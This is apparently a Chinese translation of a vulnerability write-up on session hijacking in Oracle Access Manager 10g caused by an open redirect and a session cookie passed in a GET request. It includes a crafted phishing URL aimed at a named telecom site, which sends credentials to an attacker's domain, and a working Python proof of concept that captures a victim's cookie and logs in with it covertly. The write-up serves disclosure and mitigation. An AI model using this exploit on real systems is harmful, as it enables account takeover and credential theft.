严正声明：本文仅限于技术讨论与学术学习研究之用，严禁用于其他用途（特别是非法用途，比如非授权攻击之类），否则自行承担后果，一切与作者和平台无关，如有发现不妥之处，请及时联系作者和平台
译者：ForrestX386
预估稿费：180RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
0x00. 引言
Oracle OAM (Oracle Access Manager) 是Oracle公司出品的SSO解决方案。最近有国外研究者爆出，在Oracle OAM 10g中，错误地配置OAM会导致远程会话劫持（然而大部分企业都没有正确的配置，可见此漏洞影响还是蛮大的），下文是此漏洞的详情介绍。
0x01. Oracle OAM 认证流程分析
去年，Tom 和我 参与了一个事后证明还是蛮有挑战的安全评估项目，在这个项目中，我们遇到一个非常复杂的单点登录认证模型，在单点登录过程中，足足要经过18个不同的http请求才能访问到请求的资源。
我们仔细地梳理了单点登录请求中每一个请求中的cookie和相应参数，我们在这一系列cookie中发现有一个名为ObSSOCookie的cookie是最为重要的，在网上进行一番查找之后，ObSSOCookie这个cookie和Oracle Access Manager 产品有关,它是决定认证是否通过的关键指标。
首先我们需要搞明白OAM SSO认证的流程
图0
正如上图所示，假如用户访问一个受保护的资源，比如:https://somewebsite.com/protected
OAM首先会检查一下请求的资源是否为受保护域的资源 (对照上图的step1 和 step2)，如果是，则重定向用户请求至OAM登录页面
图1至图4演示了，用户访问受保护资源域的文件到被OAM重定向至授权登录页面的过程
图1
somewebsite.com 是受保护的域名，需要进行授权认证才能获取其上资源
图2
如果没有认证，somewebsite.com 会响应302，并在响应报文中植入名为ObSSOCookie的cookie，这个是cookie是somewebsite.com判断用户是否认证OK的依据。
图3
wh参数表示请求资源的站点，告诉OAM哪一个资源域正在接受认证。
图4
OAM会在响应报文中植入名为OAMREQ的cookie，这个cookie中包含了用户正在进行认证的资源域名(https://somewebsite.com ).
接下来就是OAM授权登录页面（有可能包含双因子认证），下图是登录认证的流程
图5
图6
正如图5和图6所示，用户提交登陆凭据至OAM，OAM 检查登录凭据是否正确，如果认证通过，则返回登录成功302响应报文，将用户请求重定向至原先站点，重定向的URL中包含了资源访问的授权码（一次性key）,客户端再次访问源站的时候携带了这个访问授权码以便源站鉴权所用，源站鉴权通过之后，会在响应报文中重新生成ObSSOCookie的值，这个值就是访问源站的凭据，后续再次访问源站资源的时候，携带这个cookie就可以直接通过认证
图7
图8
OAM认证ok之后会响应302，将请求重定向至受保护资源域（somewebsite.com），并在重定向url中携带认证成功的标记（就是cookie）
图9
客户端携带OAM授予的认证通过的凭据向受保护资源域（somewebsite.com） 发起请求
图10
受保护资源域（somewebsite.com）通过了客户端请求，并在响应的302报文中修改ObSSOCookie的值，标记其认证通过
图11
接下来，客户端的请求都被允许
图12
0x02. OAM 会话劫持过程分析
从 0x01中关于Oracle OAM 认证流程的分析中，也许你已经发现了认证流程中可能会出问题的地方，如下：
1) rh 参数表示受保护资源的域名
2) OAM授予的含有认证关键信息的cookie是通过GET 方式传递
接下来，我们要做的事就是去偷取OAM认证流程中的关键cookie，然后实现会话劫持
我们查询Oracle OAM 的相关文档后发现，当我们去请求一个受保护域名不存在的文件时候，OAM也有会要求我们进行认证。
比如说http://localhost是受保护的域名，资源/this/does/not/exist.html是不存在的，但是OAM还是会要求我们进行认证。
虽然OAM 会对受保护域不存在的资源进行认证，我们还是怀疑，如果通过访问不存在的资源，然后获取OAM授予的合法cookie，再然后用这个cookie去访问实际存在的资源，会不会不可用
但是不论怎样，我们还是进行了尝试，我们通过了OAM的认证，假设OAM给我们的重定向URL是这样的：
http://localhost/obrar.cgi?cookie=<LOOOOOOONG_COOKIE_VALUE>然后我们将localhost更改为其他需要认证的域名，如下：
http://<valid_domain_of_proteced_resource>/obrar.cgi?cookie=<LOOOOOOONG_COOKIE_VALUE>我们访问一下，结果竟然可以获取这个受保护域的资源。
好了，到这里我们已经发现了2处漏洞：
1）开放重定向 （如上面图2所示，wh可以自行修改）
2）含有关键信息的cookie是通过GET方式传递
这样我们就可以给用户发送钓鱼连接，
http://someotherdomain.com/oam/server/obrareq.cgi?wh=somewebsite.com wu=/protected/ wo=1 rh=https://somewebsite.com ru=/protected/比如将wh修改为攻击者所控制的域名，这样攻击者就能获取用户在OAM登录成功之后所获取的登录凭据cookie，有了OAM授予的登录凭据cookie，攻击者就可以访问受保护域的资源
扩大成果
起初，我们认为这个漏洞只是个例，后来调查发现，我们实在是大错特错，有很多组织都存在类似这种漏洞，其中不乏一些大公司。我们开始寻找那些使用OAM 作为SSO解决方案并且有漏洞奖励计划的公司，很快，我们就发现了一家德国电信公司的站点(https://my.telekom.ro )存在此类漏洞。如果用户直接访问https://my.telekom.ro ，将会被重定向至
https://my.telekom.ro/oam/server/obrareq.cgi?wh=IAMSuiteAgent wu=/ms_oauth/oauth2/ui/oauthservice/showconsent wo=GET rh=https://my.telekom.ro:443/ms_oauth/oauth2/ui/oauthservice ru=/ms_oauth/oauth2/ui/oauthservice/showconsent rq=response_type=code&client_id=98443c86e4cb4f9898de3f3820f8ee3c&redirect_uri=http://antenaplay.ro/tkr&scope=UserProfileAntenaPlay.me&oracle_client_name=AntenaPlay如果点击上面那个链接，又会被重定向至
https://my.telekom.ro/ssologin/ssologin.jsp?contextType=external&username=string&OverrideRetryLimit=0&contextValue=/oam&password=sercure_string&challenge_url=https://my.telekom.ro/ssologin/ssologin.jsp&request_id=-9056979784527554593&authn_try_count=0&locale=nl_NL&resource_url=https://my.telekom.ro:443/ms_oauth/oauth2/ui/oauthservice/showconsent?response_type=code&client_id=98443c86e4cb4f9898de3f3820f8ee3c&redirect_uri=http://antenaplay.ro/tkr&scope=UserProfileAntenaPlay.me&oracle_client_name=AntenaPlay用户必须登录授权之后，才能获取访问资源的权限。如果攻击者将 URL1中的rh修改为攻击者控制的恶意站点，如下：
https://my.telekom.ro/oam/server/obrareq.cgi?wh=IAMSuiteAgent wu=/msoauth/oauth2/ui/oauthservice/showconsent wo=GET rh=http://our_malicious_domain/msoauth/oauth2/ui/oauthservice ru=/msoauth/oauth2/ui/oauthservice/showconsent rq=responsetype=code&clientid=98443c86e4cb4f9898de3f3820f8ee3c&redirecturi=http://antenaplay.ro/tkr&scope=UserProfileAntenaPlay.me&oracleclientname=AntenaPlay我们假装成受害者，点击了URL3，然后页面会调转到OAM登录页面，登录成功之后，会将OAM的授权信息发给攻击者控制的站点http://our_malicious_domain。然后http://our_malicious_domain 就会偷取合法用户登录的凭据，然后再将rh修改为原来的值（https://https://my.telekom.ro:443），然后再重定向给用户，这期间，用户一点察觉都没有
0x03. OAM 会话劫持PoC及演示
PoC：
#!/usr/bin/env python
"""
Oracle OAM 10g Session Hijack
usage: Oracle_PoC.py -d redirect_domain
Default browser will be used to open browser tabs
PoC tested on Windows 10 x64 using Internet Explorer 11
positional arguments:
"""
import SimpleHTTPServer
import SocketServer
import sys
import argparse
import webbrowser
import time
def redirect_handler_factory(domain):
class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
if self.path.endswith("httponly") or self.path.endswith("%252F") or self.path.endswith("do") or self.path.endswith("adfAuthentication"):
webbrowser.open_new("https://" + domain) #Load website in order to retrieve any other cookies needed to login properly
time.sleep( 5 )
webbrowser.open("https://"+ domain +"/" + self.path, new=0, autoraise=True) #Use received cookie to login on to the website
time.sleep( 5 )
self.send_response(301)
self.send_header('Location','https://'+ domain +'/'+ self.path) #Send same cookie to the victim and let him log-in as well, to not raise any suspicion ;)
self.end_headers()
return
else:
print self.path
return RedirectHandler
def main():
parser = argparse.ArgumentParser(description='Oracle Webgate 10g Session Hijacker')
parser.add_argument('--port', '-p', action="store", type=int, default=80, help='port to listen on')
parser.add_argument('--ip', '-i', action="store", default="0.0.0.0", help='host interface to listen on')
parser.add_argument('--domain','-d', action="store", default="localhost", help='domain to redirect the victim to')
myargs = parser.parse_args()
port = myargs.port
host = myargs.ip
domain = myargs.domain
redirectHandler = redirect_handler_factory(domain)
handler = SocketServer.TCPServer((host, port), redirectHandler)
print("serving at port %s" % port)
handler.serve_forever()
if __name__ == "__main__":
main()
0x04. 如何减轻此漏洞带来的损害
我们就此漏洞已经联系了Oracle，他们简单地认为这是配置导致的问题，他们的回如下：
如果没有为OAM配置SSODomains，那么所有的域名都可以使用认证之后的获取的cookie，所以为OAM 配置合法的域名范围，可以大大缓解此漏洞的危害。
0x05. CVSS 评分
根据评分依据，这个漏洞的得分是：9.3
